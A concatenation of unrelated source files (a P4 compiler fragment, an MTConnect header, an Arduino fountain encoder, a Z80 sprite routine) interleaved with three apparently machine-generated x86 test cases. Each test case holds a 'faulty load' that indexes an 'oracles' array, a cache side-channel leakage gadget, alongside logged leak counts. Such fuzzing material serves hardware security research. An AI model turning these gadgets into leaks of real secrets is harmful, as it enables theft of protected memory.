if (auto sl = expr->e0->to<IR::Slice>()) {
auto e = sl->e0;
auto hi = expr->getH() + sl->getL();
auto lo = expr->getL() + sl->getL();
return new IR::Slice(e, hi, lo);
}
auto slice_width = expr->getH() - expr->getL() + 1;
if (slice_width == (unsigned)expr->e0->type->width_bits() &&
!hasSideEffects(expr->e1))
return expr->e0;
return expr;
}
} // namespace P4
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x332d, %r8
sub $41699, %r14
movw $0x6162, (%r8)
add $19553, %r11
lea addresses_A_ht+0x1b02d, %rbx
nop
nop
nop
dec %r8
movl $0x61626364, (%rbx)
nop
nop
nop
nop
nop
and %rax, %rax
lea addresses_normal_ht+0x402d, %rsi
lea addresses_A_ht+0x2c2d, %rdi
nop
nop
nop
nop
nop
sub %r8, %r8
mov $38, %rcx
rep movsl
nop
sub $53601, %rbx
lea addresses_WC_ht+0x175ad, %rcx
nop
nop
sub $37543, %rbx
mov (%rcx), %ax
nop
nop
nop
and %rbx, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r15
push %r9
push %rax
push %rdx
push %rsi
// Faulty Load
lea addresses_WT+0xcc2d, %r15
nop
nop
nop
add $37978, %rsi
movb (%r15), %dl
lea oracles, %r9
and $0xff, %rdx
shlq $12, %rdx
mov (%r9,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rax
pop %r9
pop %r15
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': True, 'size': 1, 'type': 'addresses_WT', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'NT': True, 'AVXalign': True, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 8}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 6}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 6}}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
|
//
// Copyright Copyright 2009-2022, AMT – The Association For Manufacturing Technology (“AMT”)
// All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
#pragma once
#include "entity/entity.hpp"
namespace mtconnect::device_model::data_item {
class Source : public entity::Entity
{
public:
static entity::FactoryPtr getFactory()
{
using namespace mtconnect::entity;
static auto source = std::make_shared<Factory>(Requirements {{"componentId", false},
{"compositionId", false},
{"dataItemId", false},
{"VALUE", false}});
return source;
}
};
} // namespace mtconnect::device_model::data_item
|
//
// fountain-encoder.cpp
//
// Copyright © 2020 by Blockchain Commons, LLC
// Licensed under the "BSD-2-Clause Plus Patent License"
//
#include "fountain-encoder.hpp"
#include <assert.h>
#include <cmath>
//#include <optional>
#include <vector>
//#include <limits>
//#include "cbor-lite.hpp"
#include <ArduinoSTL.h>
#include <Arduino.h>
#include <string>
#include "CborEncoder.h"
#include "CborDecoder.h"
//#include "util.h"
using namespace std;
namespace ur_arduino {
class CborListen_Part : public CborListener {
public:
void OnInteger(int32_t value){Serial.println("integer"); integers[i] = value; i++; Serial.println(value); };
void OnBytes(unsigned char *data, unsigned int size) {Serial.println("bytes");};
void OnString(String &str) {Serial.println("string");};
void OnArray(unsigned int size) {Serial.println("array");};
void OnMap(unsigned int size) {Serial.println("map");};
void OnTag(uint32_t tag) {Serial.println("tag");};
void OnSpecial(uint32_t code) {Serial.println("tag");};
void OnError(const char *error) {Serial.println("error");};
// we are gonna collect 4 integers: seqnum, seqlen, msglen and checksum
size_t i = 0;
uint32_t integers[4];
};
size_t FountainEncoder::find_nominal_fragment_length(size_t message_len, size_t min_fragment_len, size_t max_fragment_len) {
assert(message_len > 0);
assert(min_fragment_len > 0);
assert(max_fragment_len >= min_fragment_len);
auto max_fragment_count = message_len / min_fragment_len;
size_t fragment_len = 0;
for(size_t fragment_count = 1; fragment_count <= max_fragment_count; fragment_count++) {
fragment_len = size_t(ceil(double(message_len) / fragment_count));
if(fragment_len <= max_fragment_len) {
break;
}
}
assert(fragment_len > 0);
return fragment_len;
}
vector<ByteVector> FountainEncoder::partition_message(ByteVector message, size_t fragment_len) {
auto remaining = message;
vector<ByteVector> fragments;
while(!remaining.empty()) {
auto a = split(remaining, fragment_len);
auto fragment = a.first;
remaining = a.second;
auto padding = fragment_len - fragment.size();
while(padding > 0) {
fragment.push_back(0);
padding--;
}
fragments.push_back(fragment);
}
return fragments;
}
FountainEncoder::Part::Part(const ByteVector& cbor) {
Serial.println("******* Part::Part(const ByteVector& cbor) ********");
uint8_t* cbor_arr = (uint8_t *)&cbor[0];
CborInput input(cbor_arr, cbor.size());
CborReader reader(input);
CborListen_Part listener;
reader.SetListener(listener);
reader.Run();
seq_num_ = listener.integers[0];
seq_len_ = listener.integers[1];
message_len_ = listener.integers[2];
checksum_ = listener.integers[3];
Serial.println("seq_num_:");
Serial.println(seq_num_);
Serial.println("seq_len_:");
Serial.println(seq_len_);
Serial.println("message_len_:");
Serial.println(message_len_);
Serial.println("checksum_:");
Serial.println(checksum_);
}
ByteVector FountainEncoder::Part::cbor() const {
//using namespace CborLite; // TODO!!!!!!!!!!!!!!!!!!1
CborDynamicOutput output;
CborWriter writer(output);
writer.writeArray(5);
writer.writeInt(seq_num());
writer.writeInt((uint32_t)seq_len());
writer.writeInt((uint32_t)message_len());
writer.writeInt(checksum());
ByteVector dat = data();
uint8_t *d = &dat[0];
writer.writeBytes(d, data().size());
ByteVector result(output.getData(), output.getData() + output.getSize());
return result;
}
FountainEncoder::FountainEncoder(const ByteVector& message, size_t max_fragment_len, uint32_t first_seq_num, size_t min_fragment_len) {
assert(message.size() <= UINT32_MAX);
message_len_ = message.size();
checksum_ = crc32_int(message);
fragment_len_ = find_nominal_fragment_length(message_len_, min_fragment_len, max_fragment_len);
fragments_ = partition_message(message, fragment_len_);
seq_num_ = first_seq_num;
}
ByteVector FountainEncoder::mix(const PartIndexes& indexes) const {
ByteVector result(fragment_len_, 0);
for(auto index: indexes) { xor_into(result, fragments_[index]); }
return result;
}
FountainEncoder::Part FountainEncoder::next_part() {
seq_num_ += 1; // wrap at period 2^32
auto indexes = choose_fragments(seq_num_, seq_len(), checksum_);
auto mixed = mix(indexes);
return Part(seq_num_, seq_len(), message_len_, checksum_, mixed);
}
string FountainEncoder::Part::description() const {
string seq_num_str = (String(seq_num_)).c_str();
string seq_len_str = (String(seq_len_)).c_str();
string message_len_str = (String(message_len_)).c_str();
string checksum_str = (String(checksum_)).c_str();
return "seqNum:" + seq_num_str + ", seqLen:" + seq_len_str + ", messageLen:" + message_len_str + ", checksum:" + checksum_str + ", data:" + data_to_hex(data_);
}
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r15
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x163d1, %r9
add $38535, %r15
movw $0x6162, (%r9)
nop
nop
nop
nop
sub $9189, %rbp
lea addresses_A_ht+0xac9, %rsi
lea addresses_UC_ht+0x7ad1, %rdi
nop
and $14333, %rdx
mov $44, %rcx
rep movsl
nop
nop
nop
and $62992, %rdx
lea addresses_A_ht+0x9443, %rsi
lea addresses_D_ht+0xbbd1, %rdi
nop
nop
nop
nop
nop
xor $47280, %r13
mov $107, %rcx
rep movsl
nop
nop
nop
nop
nop
xor $14705, %rbp
lea addresses_A_ht+0x175d1, %rcx
nop
nop
nop
dec %r13
movups (%rcx), %xmm0
vpextrq $1, %xmm0, %rbp
nop
nop
cmp $24400, %rsi
lea addresses_D_ht+0x17711, %rdx
nop
nop
and %r9, %r9
mov (%rdx), %r13
nop
nop
dec %rdx
lea addresses_UC_ht+0x816d, %rdi
nop
nop
nop
nop
nop
dec %rdx
mov $0x6162636465666768, %r15
movq %r15, (%rdi)
nop
nop
nop
xor %rdx, %rdx
lea addresses_D_ht+0xfec1, %rsi
lea addresses_WT_ht+0x14051, %rdi
nop
nop
nop
nop
nop
and $8456, %r13
mov $112, %rcx
rep movsw
xor $22227, %rsi
lea addresses_WT_ht+0x77d1, %rsi
lea addresses_D_ht+0x1c189, %rdi
nop
nop
nop
cmp $57955, %r9
mov $95, %rcx
rep movsl
sub %r13, %r13
lea addresses_WT_ht+0xce31, %rsi
lea addresses_WT_ht+0x638d, %rdi
sub %rdx, %rdx
mov $99, %rcx
rep movsq
nop
nop
nop
add $39458, %rsi
lea addresses_A_ht+0x99b1, %rbp
clflush (%rbp)
nop
nop
nop
add $33066, %rcx
mov (%rbp), %esi
nop
nop
nop
nop
nop
sub %r15, %r15
lea addresses_D_ht+0x43b1, %r9
nop
nop
nop
nop
xor $46720, %rsi
mov (%r9), %r15d
nop
nop
nop
cmp %rdi, %rdi
lea addresses_WT_ht+0x11d93, %rsi
lea addresses_WT_ht+0xd2d1, %rdi
nop
add %r13, %r13
mov $40, %rcx
rep movsb
nop
nop
add %r13, %r13
lea addresses_A_ht+0x93d1, %rsi
lea addresses_WT_ht+0x1a3cb, %rdi
nop
nop
and %r13, %r13
mov $66, %rcx
rep movsq
cmp %rbp, %rbp
lea addresses_normal_ht+0x145d1, %rsi
lea addresses_UC_ht+0x17cb1, %rdi
nop
nop
inc %r13
mov $71, %rcx
rep movsq
nop
nop
nop
nop
cmp $1034, %rbp
lea addresses_A_ht+0x158b1, %rsi
lea addresses_D_ht+0x15a79, %rdi
nop
and %rbp, %rbp
mov $50, %rcx
rep movsw
nop
nop
nop
nop
sub $43842, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r15
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r8
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_PSE+0x1daa1, %r9
nop
nop
nop
add %rdx, %rdx
movb $0x51, (%r9)
nop
nop
nop
xor $10530, %r12
// Store
lea addresses_D+0x158d1, %r9
nop
nop
dec %r8
movw $0x5152, (%r9)
nop
nop
cmp $42318, %r12
// REPMOV
lea addresses_A+0x41d1, %rsi
lea addresses_A+0x1eb19, %rdi
add %r8, %r8
mov $107, %rcx
rep movsb
nop
nop
xor $3442, %r8
// Store
lea addresses_UC+0x10d1, %r13
nop
nop
nop
add %rdi, %rdi
mov $0x5152535455565758, %rsi
movq %rsi, %xmm2
vmovups %ymm2, (%r13)
nop
cmp %rdi, %rdi
// Load
lea addresses_WC+0x1a41, %rdx
clflush (%rdx)
nop
nop
nop
nop
nop
dec %rcx
mov (%rdx), %rsi
and $19998, %rdi
// Load
lea addresses_RW+0x95d1, %r8
xor $7638, %r9
mov (%r8), %r11w
nop
nop
nop
nop
nop
sub %r9, %r9
// Store
lea addresses_WC+0x99d1, %rdi
and $1336, %rcx
movw $0x5152, (%rdi)
nop
nop
dec %rdx
// Store
lea addresses_normal+0xbf21, %r8
nop
nop
nop
add $61199, %rdi
mov $0x5152535455565758, %r9
movq %r9, %xmm1
vmovups %ymm1, (%r8)
nop
nop
nop
cmp %rcx, %rcx
// Faulty Load
lea addresses_WT+0x1b5d1, %rsi
cmp $41584, %rdi
mov (%rsi), %dx
lea oracles, %r13
and $0xff, %rdx
shlq $12, %rdx
mov (%r13,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_PSE', 'size': 1, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_D', 'size': 2, 'AVXalign': False}}
{'src': {'type': 'addresses_A', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_UC', 'size': 32, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_WC', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_RW', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_WC', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_normal', 'size': 32, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 2, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': True}}
{'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}}
{'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_A_ht', 'size': 4, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
|
; void __CALLEE__ sp1_InitCharStruct_callee(struct sp1_cs *cs, void *drawf, uchar type, void *graphic, uchar plane)
; 01.2008 aralbrec, Sprite Pack v3.0
; ts2068 hi-res version
PUBLIC sp1_InitCharStruct_callee
PUBLIC ASMDISP_SP1_INITCHARSTRUCT_CALLEE
EXTERN _sp1_struct_cs_prototype
EXTERN SP1V_ROTTBL
.sp1_InitCharStruct_callee
pop hl
pop bc
ld a,c
ex af,af
pop bc
pop de
ld a,e
pop de
ex (sp),hl
; enter : a' = plane
; a = type
; hl = struct sp1_cs *
; de = address of sprite draw function
; bc = graphic
; uses : af, bc, de, hl, af', bc', de', hl'
.asmentry
push bc ; save graphic
push de ; save draw function
ex de,hl ; de = struct sp1_cs *
ld hl,_sp1_struct_cs_prototype
ld bc,22
ldir ; copy prototype struct sp1_cs into sp1_cs
ld hl,-5
add hl,de ; hl = & sp1_cs.draw + 1b
pop de
dec de ; de = & last byte of draw function data
ex de,hl
ldd ; copy draw function data into struct sp1_cs
ldd
ldd
dec hl
dec hl
dec de
dec de
ldd
ldd
pop bc ; bc = graphic
ex de,hl
ld (hl),b
dec hl
ld (hl),c
dec hl
dec de
dec de
ex de,hl
ldd
ex de,hl ; hl = & sp1_cs.ss_draw + 1b
ld (hl),sp1_ss_embedded / 256
dec hl
ld (hl),sp1_ss_embedded % 256
dec hl ; hl = & sp1_cs.type
ld (hl),a ; store type
dec hl
ex af,af
ld (hl),a ; store plane
ret
.sp1_ss_embedded
ld a,SP1V_ROTTBL/256 + 8 ; use rotation of four pixels if user selects a non-NR draw function
ld bc,0
ex de,hl
jp (hl)
DEFC ASMDISP_SP1_INITCHARSTRUCT_CALLEE = asmentry - sp1_InitCharStruct_callee
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r15
push %r8
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1d325, %r15
nop
nop
nop
nop
nop
sub $3965, %r11
mov $0x6162636465666768, %r10
movq %r10, %xmm2
vmovups %ymm2, (%r15)
lfence
lea addresses_WT_ht+0x1c580, %r9
clflush (%r9)
nop
nop
nop
cmp %rsi, %rsi
movb $0x61, (%r9)
nop
cmp $45163, %r8
lea addresses_D_ht+0x3940, %r8
nop
nop
nop
nop
lfence
movb $0x61, (%r8)
xor $3484, %r9
lea addresses_D_ht+0xce83, %rsi
lea addresses_normal_ht+0x2940, %rdi
nop
nop
sub %r15, %r15
mov $11, %rcx
rep movsl
and $15205, %r10
lea addresses_A_ht+0x13540, %r12
nop
xor %r9, %r9
mov (%r12), %r15w
nop
xor $17459, %rcx
lea addresses_WT_ht+0x18d40, %rsi
nop
xor %r10, %r10
movb (%rsi), %r9b
nop
sub %rcx, %rcx
lea addresses_WT_ht+0x10140, %rsi
lea addresses_normal_ht+0xb200, %rdi
inc %r8
mov $124, %rcx
rep movsl
nop
nop
nop
nop
nop
inc %rcx
lea addresses_A_ht+0x7140, %rdi
nop
nop
sub %r10, %r10
mov (%rdi), %r12w
nop
nop
nop
xor %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r15
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %rbp
push %rcx
push %rdi
push %rsi
// Store
lea addresses_WT+0x1e2c0, %r14
xor $17863, %r11
movb $0x51, (%r14)
nop
nop
nop
nop
nop
and $54492, %rcx
// Faulty Load
mov $0x7c28af0000000940, %r11
nop
nop
add %rbp, %rbp
mov (%r11), %r12d
lea oracles, %rsi
and $0xff, %r12
shlq $12, %r12
mov (%rsi,%r12,1), %r12
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_WT', 'AVXalign': False, 'size': 1}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1}}
{'src': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_normal_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 11, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_normal_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'00': 21829}
